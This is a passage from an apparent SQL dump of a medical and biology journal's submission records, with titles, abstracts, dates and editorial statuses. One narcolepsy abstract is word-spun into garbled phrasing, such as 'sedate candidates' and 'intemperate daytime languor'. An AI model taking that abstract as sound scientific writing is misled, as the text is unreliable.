Blood',NULL,12,0,'','','',59179,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14477,14524,981,0,'ipft-24-14477','Exploring the Depths of Analytical Toxicology: Unraveling the Mysteries of Substance Detection and Identification',NULL,12,0,'','','',59099,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14478,14525,981,0,'ipft-24-14478','Examining Tale Realities in Toxicology and Pharmacology: Navigating the Complex Web of Drug Interactions',NULL,12,0,'','','',5438,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14479,14526,975,0,'ipjbs-24-14479','Navigating the Complex Terrain of Gastroenterology: Unveiling the Wonders of Digestive Health',NULL,12,0,'','','',59180,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14480,14527,975,0,'ipjbs-24-14480','Radiology: A Glimpse into the Invisible Realm of Medical Imaging',NULL,12,0,'','','',59182,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14481,14528,975,0,'ipjbs-24-14481','Unraveling the Genomic Tapestry: A Glimpse into the World of Bioinformatics',NULL,3,0,'','','',59183,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14482,14529,975,0,'ipjbs-24-14482','Navigating the World of Pharmacology: Understanding the Science of Drugs',NULL,3,0,'','','',59184,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14483,14530,975,0,'ipjbs-24-14483','Revolutionizing Healthcare: The Impact and Promise of Medical Technology',NULL,3,0,'','','',59185,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-03-26',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14484,14531,91,0,'ijddr-24-14484','Unraveling the Molecular Targets: Drug Discovery Strategies for Narcolepsy Treatment',NULL,14,0,'','The objective of this research paper on narcolepsy is to distinguish and assess\r\nnovel compounds focusing on particular atomic pathways related to the clutter. Through\r\nthorough screening and optimization, the point is to reveal potential drug candidates that\r\nillustrate adequacy in moderating narcoleptic indications, counting intemperate daytime\r\nlanguor and cataplexy. The inquiry will dive into the instruments of activity of lead\r\ncompounds, giving experiences into their intelligence with neural circuits and\r\nneurotransmitter frameworks significant to narcolepsy. Moreover, they think about surveying\r\nthe security profiles of promising sedate candidates, laying the basis for future translational\r\ninvestigations and the improvement of imaginative restorative mediations for narcolepsy.','Keywords: Narcolepsy, hypocretin, orexin, sleep-wake cycle, cataplexy, neurotransmitters,\r\nautoimmunity, hypocretin receptor agonists, hypnagogic hallucinations.',59095,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-05-03',NULL,1,1,'0','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14485,14541,91,0,'ijddr-24-14485','Neuropharmacology Unveiled: A Comprehensive Exploration of Drugs Acting on the Central Nervous System',NULL,12,0,'','','',2231,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14486,14541,91,0,'ijddr-24-14486','Revolutionizing Medicine: The Promise of Nanodrugs in Healthcare',NULL,11,0,'','','',3391,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14487,14540,91,0,'ijddr-24-14487','Herbal Medicine as a Holistic Approach to ADHD Treatment',NULL,11,0,'','','',59136,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14488,14539,91,0,'ijddr-24-14488','Navigating the Intricacies of Physicochemical and Biological Barriers: Guardians of Cellular Integrity',NULL,12,0,'','','',3754,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14489,14538,91,0,'ijddr-24-14489','Innovations in Opioid Drug Delivery: Balancing Pain Management and Addiction Risk',NULL,11,0,'','','',2474,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14490,14537,91,0,'ijddr-24-14490','Revolutionizing SVT Treatment: A Comprehensive Guide to Drug Therapies',NULL,11,0,'','','',2427,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14491,14536,91,0,'ijddr-24-14491','Revolutionizing Healthcare: The Era of Modern Innovative Drug Delivery',NULL,12,0,'','','',2474,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14492,14536,91,0,'ijddr-24-14492','Navigating the Uncharted Waters: The Ongoing Impact of COVID-19 in the Current Landscape',NULL,11,0,'','','',4772,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14493,14535,91,0,'ijddr-24-14493','Nanomaterials in Medicine: Paving the Way for Precision Drug Delivery and Targeted Therapeutics',NULL,12,0,'','','',2474,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14494,14534,91,0,'ijddr-24-14494','Laboratory Automation: The Seamless Integration of Artificial Intelligence',NULL,11,0,'','','',59095,NULL,'2024-01-11',NULL,'Submitted',2,NULL,'2024-02-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14495,14455,277,0,'ipadm-24-14495','Navigating the Front Lines: The ViAtal Role of Emergenc@y Medicine in CriAtical Care',NULL,19,0,'','  ','',5022,NULL,'2024-01-12',NULL,'Submitted',2,NULL,'2024-01-18',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14496,14542,73,0,'ipjnn-24-14496','Exploring the Impact of Intensive Versus Standard Blood Pressure Management Following Post-endovascular Therapy in Ischemic Stroke: A Comparative Systematic Review and Meta-analysis',NULL,15,0,'','Objective: This systematic review and meta-analysis investigate the impact of intensive versus standard blood pressure control following post-endovascular therapy in ischemic stroke patients.\r\n\r\n\r\nMethods \r\nWe conducted a systematic review and meta-analysis in accordance with PRISMA guidelines, searching PubMed. Google Scholar and Cochrane CENTRAL databases from inception to December 2023. The evaluated outcomes included symptomatic intracerebral hemorrhage, functional independence (mRS score of 0–2), death or disability (mRS score of 3–6), and Health-related quality of life (EQ-5D-3L score).  We utilized the standard mean difference (SMD) with a 95% confidence interval (CI) for continuous outcomes in all studies, employing a random-effects model for data synthesis irrespective of heterogeneity. Heterogeneity was assessed using I² statistics. \r\n\r\nResults \r\nWe screened 2000 articles and included 4 randomized controlled trial studies (3635 patients). Intensive blood pressure control affected the Health-related quality of life (EQ-5D-3L score) more than standard blood pressure (SMD = -0.22, 95% CI: -0.34 to -0.11, p = 0.0002). However, post-endovascular therapy, intensive blood pressure control did not significantly decrease the risk of intracerebral hemorrhage within 36 hours (Relative Risk = 0.91, 95% CI: 0.70–1.19, p = 0.51). Additionally, there was an insignificant improvement in the likelihood of regaining functional independence (measured by mRS score of 0–2) at three months (RR = 0.87, 95% CI: 0.73–1.04, p = 0.12). Moreover, there was an insignificant increase in the risk of experiencing death or disability (mRS score 3-6) at 3 months with intensive blood pressure control compared to standard blood pressure control (RR = 1.18, 95% CI: 0.93–1.51, p = 0.18).\r\nConclusion:\r\nIn conclusion, our findings indicate that implementing intensive blood pressure control does not lead to an increased risk of adverse outcomes, such as intracranial hemorrhage within 36 hours, compromised functional independence, disability, or mortality at the 3-month mark following endovascular therapy. Despite the observed reduction in health-related quality of life as reflected in the EQ-5D-3L score, the overall safety profile of intensive blood pressure control in comparison to standard management suggests its viability as a potential strategy for improving patient outcomes in the context of endovascular therapy.\r\n','Blood pressure, Intracerebral Hemorrhage, Ischemic stroke, Post-endovascular therapy',337,NULL,'2024-01-13',NULL,'Submitted',12,NULL,'2024-03-05',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14497,14543,85,0,NULL,'Health professionals’ intention to leave their job from public health facilities and associated factors in Ethiopia: A systematic review and Meta-analysis ',NULL,14,0,'','Background: Intention to leave refers to an employee’s plan to quit the present job and look forward to finding another job. It is an immediate predictor of turnover behavior, and there are no national pooled data in the country that show the magnitude and determinants. \r\nObjective: To examine health professionals’ intention to leave their job in public health facilities and its determinants in Ethiopia. \r\nMethods: Literature searches were conducted through Google Scholar, PubMed, CINHAL, Science Direct, HINARI, and gray literature. All necessary data was extracted by two independent authors and imported into STATA version 14.0 for analysis. Heterogeneity was checked by using a ?2 and I2 tests. Publication bias was examined by performing Egger’s correlation and Begg’s regression intercept tests. A random-effect model was employed to estimate the pooled health professionals\' intention to leave their job. \r\nResults: The pooled overall health professionals’ intention to leave their job was 59.05% (95% CI; 54.35, 63.74%) with a range from 39%-83.7%. Sex (AOR: 1.69, 95%CI: 1.31-2.18), job or work environment (AOR: 3.59, 95% CI: 2.05–6.29), payment or any benefit (AOR: 7.37, 95%CI: 2.89-18.79), supervision and evaluation (AOR: 2.99, 95% CI: 2.27–3.93), appraisal and recognition (AOR: 3.4, 95% CI: 2.62-4.41) and organizational commitment (AOR: 1.9, 95%CI: 1.04–3.48) were the significant factors. \r\nConclusion and recommendation: This result suggested that there was a high level of health professionals\' intention to leave their job in Ethiopia. Design a positive working atmosphere, monitoring and evaluation strategies, and sufficient development and career opportunities.\r\n','Health professional; intention to leave; systematic review and meta-analysis; Ethiopia',3404,NULL,'2024-01-14',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14498,14544,73,0,'ipjnn-24-14498','Post COVID Symptoms Inducing Postural Tachycardia Syndrome and Related Autonomic Conditions',NULL,3,1,'Current Neurology and Neuroscience Report',' ',' ',326,NULL,'2024-01-17',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14499,14545,639,0,'ipfs-24-14499','Decoding the Genetic Blueprint of Aquatic Life: An Exploration of Fish Genetics',NULL,3,0,'','','',1773,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'0','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14500,14546,639,0,'ipfs-24-14500','Carnivorous Fish: Masters of Predation in Aquatic Ecosystems',NULL,12,0,'','','',59157,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14501,14547,639,0,'ipfs-24-14501','Exploring the Depths: The Fascinating World of Marine Biology',NULL,5,0,'','','',59156,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14502,14548,639,0,'ipfs-24-14502','Exploring the Wonders of Fish Physiology: Insights into the Aquatic Organism\'s Inner World',NULL,3,0,'','','',59186,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14503,14549,639,0,'ipfs-24-14503','Fish Ecology: Navigating the Intricate Web of Aquatic Life',NULL,12,0,'','','',59187,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14504,14550,639,0,'ipfs-24-14504','Ichthyology: Navigating the Depths of Fish Diversity and Discovery',NULL,5,0,'','','',59188,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14505,14551,639,0,'ipfs-24-14505','Navigating Sustainability: The Essentials of Fishery Management',NULL,3,0,'','','',1774,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14506,14552,639,0,'ipfs-24-14506','Navigating the Waters of Sustainability: The Imperative of Fishery Conservation',NULL,12,0,'','','',1774,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14507,14553,639,0,'ipfs-24-14507','Nourishing the Finned World: Exploring the Complexities of Fish Nutrition',NULL,5,0,'','','',59189,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'0','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14508,14554,639,0,'ipfs-24-14508','Sailing Toward Sustainability: The Imperative and Innovations of Sustainable Fisheries',NULL,3,0,'','','',1771,NULL,'2024-01-18',NULL,'Submitted',14,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14509,14555,639,0,'ipfs-24-14509','Sustainable Aquaculture: Nurturing the Future of Seafood',NULL,3,0,'','','',1772,NULL,'2024-01-18',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14510,14556,639,0,'ipfs-24-14510','The Intricacies of Fish Reproduction: A Dive into the Underwater World of Spawning Strategies, Parental Care, and Reproductive Adaptations',NULL,12,0,'','','',59190,NULL,'2024-01-18',NULL,'Submitted',14,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14511,14557,639,0,'ipfs-24-14511','Unlocking the Mysteries of Fish Behavior: Insights into the Aquatic Realm',NULL,5,0,'','','',59191,NULL,'2024-01-18',NULL,'Submitted',14,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14512,14558,639,0,'ipfs-24-14512','Unraveling the Dance of Life: Understanding Fish Population Dynamics',NULL,3,0,'','','',1777,NULL,'2024-01-18',NULL,'Submitted',14,NULL,'2024-02-03',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14521,12962,45,0,'iphsj-24-14521','Defense Mechanisms and Dysfunctional Personality Factors among Substance Abuse Patients in National Capital Territory of Delhi, India','',14,3,'','Aim and Background: Defence Mechanisms are known to be the actions of the ego that take place in times where anxiety arises due to intrapsychic conflict in an individual’s mind.  Personality can be defined as a set of characteristics that are relatively permanent and lifelong (Schultz & Schultz, 2005). Substance abuse is the term used when the tolerance for the substance increases, absence of the substance gives withdrawal symptoms, and its consumption causes clinically significant distress in social, occupational or recreational life (APA, 2013).The present research attempts to understand the relationship between the above three constructs. \r\nMethod: Purposive sampling was done from two de-addiction and rehabilitation centres (N=100), and the following three questionnaires were used: The CAGE- AID by Brown and Rounds (1995) was used to screen patients for substance abuse, PID V-BF by Krueger, Derringer, Markon, Watson, Skodol (2012) was used to assess personality dysfunction, the Defense Mechanisms Inventory by Mrinal and Singhal (1984) was used to assess the clusters of defenses being used by the patients. \r\nResults: The findings suggested a significant positive correlation between substance abuse and Negative affectivity domain (.264, p= .008) and Disinhibition domain (.225, p= .024) of personality dysfunction; and a significant positive correlation between substance abuse and Turning against object cluster (.242, p= .015) of defense mechanisms in patients. These findings were consistent with the literature review. \r\nFindings: These findings may have implications in treatment by identifying the ego defenses that the patient uses in the course of treatment and aiming towards the eradication of any such maladaptive defenses in order to increase the acceptance of the patient towards the treatment.\r\n','Defense Mechanisms, Dysfunctional Personality, Substance Abuse',643,'','2024-02-03',NULL,'Submitted',12,0,'2024-02-05','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14522,14563,86,0,'ipaom-24-14522','The effect of continuous positive airway pressure on depressive symptoms in obstructive sleep apnea',NULL,14,2,'','Background and Objective: The association between obstructive sleep apnea (OSA) and depression has been not extensively investigated. This study explored the effect of continuous positive airway pressure (CPAP) on depression in patients with OSA.\r\nMethods: We performed polysomnography studies on inpatients with OSA (N=47) who were referred from various subspecialty clinics between July 2011 and August 2013. Patients were assessed by the Mini International Neuropsychiatric Interview (MINI plus) scale; then, those identified with depression were assessed with the Montgomery Asberg Depression Rating Scale (MADRS). We evaluated the impact of CPAP on depressive symptoms in OSA patients at baseline and 3- and 6-month follow-ups.\r\nResults: The difference in the mean MADRS between pre-CPAP and the end of the CPAP course was 9.1; between pre-CPAP and the 3-month follow-up, 14.4; and between pre-CPAP and the 6-month follow-up, 18.7 (all p < 0.01).\r\nConclusion: Treatment of OSA with CPAP reduced the MADRS score in a significant number of patients with OSA. This reversal of depressive symptoms in patients with OSA by CPAP suggests that a definite mood component in OSA cannot be attributed to physical symptoms alone in the treatment of CPAP. Our study further supports the relationship between OSA and depression.','Obstructive sleep apnea, depression, continuous positive airway pressure',5013,NULL,'2024-01-22',NULL,'Submitted',2,NULL,'2024-04-25',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14523,14564,45,0,'iphsj-24-14523','The Intersection of Mind and Body: Exploring the Depths of Health Psychology',NULL,5,0,'','Objective: This study investigates the effectiveness of Mindfulness-Based Stress Reduction (MBSR) in reducing anxiety levels among college students. With rising concerns about mental health in higher education, exploring non-pharmacological interventions is essential for promoting student well-being.\r\nMethods: A randomized controlled trial was conducted with a sample of 120 college students experiencing elevated anxiety levels. Participants were randomly assigned to either the MBSR intervention group or a control group. The MBSR group underwent an eight-week mindfulness program, including meditation, mindful breathing, and yoga exercises. The control group received no intervention during this period.\r\nResults: Preliminary analysis reveals a significant reduction in anxiety levels among the MBSR intervention group compared to the control group. Post-intervention assessments indicated a statistically significant decrease in self-reported anxiety scores (p < 0.05). Subgroup analyses based on gender, age, and baseline anxiety levels will be presented to provide a nuanced understanding of the intervention\'s effects.\r\nConclusion: The findings suggest that MBSR holds promise as a viable intervention for reducing anxiety levels in college students. Further research with larger and more diverse samples is warranted to validate these results and explore the long-term effects of mindfulness-based interventions on mental health outcomes in academic settings. This study contributes to the growing body of literature supporting the integration of mindfulness practices in student mental health programs.','Mindfulness-Based Stress Reduction, anxiety, college students, mental health, randomized controlled trial',643,NULL,'2024-01-22',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14524,14565,1020,0,NULL,'Retrospective investigation on the prevalence and trends of STDs in the Tigray region of Ethiopia from July 2019 to June 2020, covering all healthcare facilities.',NULL,14,0,'','In Africa, a notably high and rising prevalence of major treatable STIs and available data is limited to high-income countries and not accurate in low- and middle-income countries in general population. This study aims to assess the prevalence and trends of major treatable STIs in our region, \r\nSetting: patient attending in all health facility with available completed data on sydromantic diagnosis   STI from July 2019 to June 2020.\r\nParticipants: 3,500 patients with STI symptom.\r\nMethods: Retrospective cross-sectional study with descriptive statistics analysis to compare measures of prevalence and trend between age group, sex and months were used to display the results using table and bar graph. An association between the disease conditions and was determined by using the Chi-square test. Level was set at 5%. \r\nMain outcome measures: measures of prevalence and trend.\r\nResult: Males were more affected than females. Adults sexually active have a high prevalence of sexually transmitted disease.52.7% were male and 47.3% were female. Genital candidiasis 18.3%, hepatitis B 16.9%, gonorrhea 16.3%, hepatitis C 13.6%, syphilis 11.8%, genital herpes 8.8%, genital warts 7.5%, and chlamydia 6.8%. The trend of syphilis increased from 2.2% to 4.2 % in 2020 where as other Sexual transmitted infections was intermittent.\r\nConclusion: Sexually transmitted diseases primarily affect adults, with prevalence varying by gender and age group, and non-linear trend across majority age groups. The findings provide crucial insights into the country\'s epidemiological situation, recommending future prevention strategies focusing on adults at the highest risk of sexually transmitted infections.\r\n','Sexual transmitted disease; Prevalence; Trend; Healthcare',4892,NULL,'2024-01-22',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,1,NULL,0),(14525,14567,45,0,'iphsj-24-14525','Leveraging Artificial Intelligence in Healthcare: A Comprehensive Overview',NULL,5,0,'','The integration of Artificial Intelligence (AI) in healthcare has emerged as a transformative force, revolutionizing various aspects of the medical landscape. This paper provides a comprehensive overview of the applications, challenges, and potential impact of AI in healthcare.\r\nThe first section explores the diverse range of AI applications in healthcare, including diagnosis and prognosis, personalized treatment plans, drug discovery, and patient management. We delve into the use of machine learning algorithms and deep learning models to analyze medical data such as electronic health records, medical images, and genomic information. Highlighting the potential for early disease detection and improved decision-making, we showcase how AI is enhancing the efficiency and accuracy of medical processes.\r\nThe second section addresses the challenges associated with the adoption of AI in healthcare, encompassing ethical considerations, data privacy, and regulatory compliance. We examine the importance of transparency and interpretability in AI models to gain the trust of healthcare professionals and patients. Additionally, we discuss the need for standardized protocols and guidelines to ensure the responsible deployment of AI technologies in the healthcare domain.\r\nThe third section explores the potential impact of AI on healthcare outcomes and the patient experience. From enhancing diagnostic accuracy to enabling personalized and timely interventions, AI has the potential to revolutionize healthcare delivery. We discuss the role of AI-powered virtual health assistants, telemedicine, and remote patient monitoring in improving access to quality healthcare services.','healthcare delivery; accurate; patient-centred',4076,NULL,'2024-01-23',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14526,14564,45,0,'iphsj-24-14526','Unlocking the Code: Navigating the Frontiers of Genomics',NULL,3,0,'','Unlocking the Code: Navigating the Frontiers of Genomics is a groundbreaking exploration of the evolving landscape of genomic research. This abstract provides a concise overview of the key themes covered in the book.\r\nThe book delves into the intricacies of genomics, offering a comprehensive and accessible journey into the world of genetic exploration. It skillfully combines scientific depth with engaging narratives, catering to a diverse audience ranging from novices to seasoned experts in genomics.\r\nA central focus of Unlocking the Code is the practical application of genomic knowledge across various industries. The narrative unfolds the transformative impact of genomics on healthcare, agriculture, and beyond. The author illustrates how genomic insights are reshaping personalized medicine, disease identification, and the trajectory of healthcare in the modern era','Genomics; Genetic research; DNA; Personalized medicine; Healthcare advancements; Ethical considerations; Genetic manipulation; Frontiers of genomics; Practical applications',643,NULL,'2024-01-23',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14527,14568,45,0,'iphsj-24-14527','A Comprehensive Guide to Health Management: Nurturing Well-being in the Modern World',NULL,5,0,'','This article explores the multifaceted concept of health management, emphasizing its holistic approach to physical, mental, and social well-being. Recognizing health as more than the absence of illness, the World Health Organization\'s definition sets the stage for a comprehensive examination of key components such as physical, mental, and social health, along with the crucial role of preventive care. The article further delves into practical strategies for health management, encompassing healthy eating habits, regular exercise, adequate sleep, stress management, and the importance of social connections. By offering a roadmap to cultivate emotional well-being, work-life balance, and the significance of regular health check-ups, this guide empowers individuals to proactively engage in their health journey. Ultimately, the article contends that health management is a lifelong commitment, an investment that yields a vibrant and fulfilling future in the dynamic landscape of the modern world','Health Management, Holistic Well-being, Physical Health, Mental Health, Social Health, Preventive Care, Nutrition, Exercise, Sleep, Stress Management, Social Connections, Regular Health Check-ups',4076,NULL,'2024-01-23',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14528,14451,73,0,'ipjnn-24-14528','The Significance of Hospital Preparedness: Comparative Impact of Supine versus Prone ','',14,1,'Current Neurology and Neuroscience Report','','',326,'','2024-01-22',NULL,'Submitted',15,0,'2024-01-24','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14529,14569,45,0,'iphsj-24-14529','Historical and Current Online Monitoring  of Vital Parameters of Persons on Duty in  Extreme Environments',NULL,14,1,'Digital Health Innovations in Care','  ','',687,NULL,'2024-01-24',NULL,'Submitted',2,NULL,'2024-03-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14540,14573,45,0,'iphsj-24-14540','Advancing Global Health Challenges Opportunities and Collaborative Solutions',NULL,15,0,'','This research article delves into the multifaceted landscape of global health, exploring the challenges, opportunities, and collaborative solutions essential for addressing the health needs of populations across borders. In an interconnected world, health challenges transcend geographical boundaries, necessitating collective efforts to achieve sustainable improvements in health outcomes. The article examines key global health issues, such as infectious diseases, maternal and child health, non-communicable diseases, and healthcare infrastructure disparities. By analyzing successful global health interventions and collaborative frameworks, the article aims to provide insights into effective strategies for promoting health equity and resilience on a global scale. The importance of international partnerships, innovation, and policy advocacy in advancing global health is emphasized, highlighting the need for a comprehensive and inclusive approach to address the complex health challenges facing our interconnected world.','Global Health, Infectious Diseases, Maternal and Child Health, Non-Communicable Diseases, Healthcare Infrastructure, International Collaboration, Health Equity, Policy Advocacy.',685,NULL,'2024-01-30',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14541,14574,45,0,'iphsj-24-14541','Addressing Health Disparities through Community-Based Public Health Initiatives',NULL,5,0,'','This research article explores the critical role of community-based public health initiatives in addressing health disparities. Health disparities, defined as differences in health outcomes between various populations, remain a significant challenge worldwide, affecting individuals across socioeconomic, racial, ethnic, and geographic lines. Despite advancements in medical technology and healthcare delivery, disparities persist, highlighting the need for innovative approaches to promote health equity. Community-based public health initiatives leverage local resources, knowledge, and partnerships to develop targeted interventions that address the unique needs of diverse populations. This article examines the principles, strategies, and outcomes of community-based public health initiatives in reducing health disparities and promoting population health. Drawing upon examples from various communities, the article highlights successful approaches, challenges, and opportunities for collaboration among stakeholders. Additionally, it discusses the importance of cultural competence, community engagement, and sustainability in designing and implementing effective interventions. By fostering partnerships, empowering communities, and advocating for policy change, community-based public health initiatives offer promising solutions to mitigate health disparities and advance health equity.','Public Health, Health Disparities, Community-Based Initiatives, Health Equity, Community Engagement, Population Health.',685,NULL,'2024-01-30',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14542,14575,45,0,'iphsj-24-14542','Understanding the Mind-Body Connection Exploring the Role of Health Psychology in Promoting Holistic Well-being',NULL,15,0,'','This research article delves into the field of health psychology, examining its crucial role in understanding the intricate interplay between psychological factors and physical health outcomes. Health psychology focuses on how psychological, social, and behavioral factors influence health and illness, offering valuable insights into the promotion of holistic well-being. Through a comprehensive review of literature and empirical evidence, this article explores key concepts, theories, and methodologies in health psychology, highlighting its applications in health promotion, disease prevention, and chronic illness management. Moreover, the article discusses the implications of health psychology for clinical practice, public health interventions, and policy development, emphasizing the importance of adopting a biopsychosocial approach to address the complex health needs of individuals and communities.','Health Psychology, Biopsychosocial Model, Health Behavior, Psychological Factors, Well-being, Chronic Illness, Health Promotion.',4076,NULL,'2024-01-30',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14543,14576,45,0,'iphsj-24-14543','Understanding Health Behavior Exploring Determinants, Interventions, and Implications for Public Health',NULL,19,0,'','This research article delves into the multifaceted realm of health behavior, examining the complex interplay of factors that shape individuals\' choices, actions, and lifestyles in relation to health. Health behavior, encompassing a wide spectrum of actions and decisions that influence health outcomes, plays a pivotal role in promoting well-being and preventing disease. Through a comprehensive review of literature and empirical evidence, this article explores key determinants of health behavior, ranging from individual factors such as beliefs and attitudes to social, environmental, and policy influences. Moreover, the article discusses evidence-based interventions aimed at promoting healthy behaviors and addressing unhealthy ones, with a focus on their implications for public health policy and practice.','Health Behavior, Determinants, Interventions, Public Health, Health Promotion, Disease Prevention.',4076,NULL,'2024-01-30',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14544,14577,45,0,'iphsj-24-14544','Environmental Health Understanding Risks Impact and Strategies for Sustainable Well-being',NULL,15,0,'','This research article delves into the multifaceted domain of environmental health, exploring the intricate relationship between environmental factors and human health outcomes. Environmental health encompasses the study of environmental exposures, hazards, and risks that pose threats to human health, as well as the development of strategies to mitigate these risks and promote sustainable well-being. Through a comprehensive review of literature and empirical evidence, this article examines key environmental health issues, including air and water pollution, climate change, hazardous waste, and occupational exposures. Moreover, the article discusses evidence-based interventions, policies, and community-based initiatives aimed at safeguarding public health and preserving environmental quality for future generations.','Environmental Health, Environmental Exposures, Public Health, Pollution, Climate Change, Sustainable Development.',458,NULL,'2024-01-30',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14545,14578,45,0,'iphsj-24-14545','ASSESSMENT OF EXCLUSIVE BREASTFEEDING PRACTICE AND ASSOCIATED FACTORS AMONG MOTHERS IN HARGEISA CITY, SOMALILAND.2023. ',NULL,14,0,'','ABSTRACT \r\nBackground: Information breast milk is the one and only natural, complete and complex nutrition for human infants. Also, exclusive breastfeeding is the best and cost effective intervention to prevent childhood morbidities and mortalities, exclusively breastfed children are at a much lower risk of infection from diarrhea, acute respiratory infections, pneumonia, meningitis, ear infections, lower rates of childhood cancers including leukemia and lymphoma than infants who receive other foods. However, over two-thirds deaths occurring 